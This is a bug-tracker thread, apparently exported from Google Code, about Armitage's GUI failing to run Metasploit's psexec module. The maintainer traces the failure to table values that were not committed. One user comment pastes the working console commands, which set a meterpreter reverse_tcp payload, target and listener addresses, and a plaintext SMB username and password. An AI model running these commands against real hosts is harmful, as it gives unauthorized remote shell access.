Psexec not working correctly

[GoogleCodeExporter]

Psexec not working correctly

[GoogleCodeExporter]

Note: It works using the console... the host turns red on armitage

Original comment by [email protected] on 30 Nov 2010 at 3:43

[GoogleCodeExporter]

I could use some more information to really reproduce this. Others have made 
the psexec module work. Could you execute Armitage on Windows using 
armitage-debug.bat and paste the output from the DOS window into this ticket?

Also, could you follow the steps that produced a working attack in the console 
and paste into a text file (attach it to this ticket) what you typed. This will 
let me compare the differences so I can see what's happening.

Also, how are you running it? Via the module browser or the special "pass the 
hash" menu option attached to the Attack -> SMB menu of the host?

The OffensiveSecurity folks were able to use the psexec module in their demos 
and I've used it before as well. Make sure you're setting the right SMBDOMAIN 
value (or whatever the var name is).

Original comment by [email protected] on 1 Dec 2010 at 4:03

[GoogleCodeExporter]

Screenshots Link:
http://yfrog.com/b8armitagepsexecguijx

There are 2 screenshots in the link...
1) With Debug, using the psexec on the gui it gaves a warning
2) Typing directly into the console, doesnt give a warning, and it works!

I am using a clear text password as the SMBUser.

This is what i typed on armitage console (Works):

use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 172.20.2.88
set LHOST 172.20.2.61
set SMBPass infor00munigye
set SMBUser Administrador
Exploit
----------------------------

On the gui i doble check and clicked launch, but it doesnt work :p

----------------------------
NEW:IT works, when i retype the gui values :p
Fields:
LPort
SMBDomain
----------------------------

I am using windows 7 ultimate 64bits
on my linux machine it always works like a charm :)
On my windows 7 ultimate 32bits works like a charm :)

---------------------------

I dont know if you can reproduce this, but if someone else have this problem, 
tell them to rewrite does fields
---------------------------

Thanks for this great piece of software

Cheers :)

Original comment by [email protected] on 1 Dec 2010 at 2:29

[GoogleCodeExporter]

I noticed from the screenshot where it doesn't work that the SMBUser value is 
empty. One possibility, when you populate a value in the table, click out of it 
so it leaves edit mode. This causes the variable to actually get set. If you 
don't do this, it won't get set. That's what I think happened here.

It's certainly a UI quirk, but I haven't thought of a way around it yet. I'm 
closing this ticket for now as it appears that this quirk is the culprit.

Thanks for getting the information to me.

Original comment by [email protected] on 1 Dec 2010 at 6:02

• Changed state: Invalid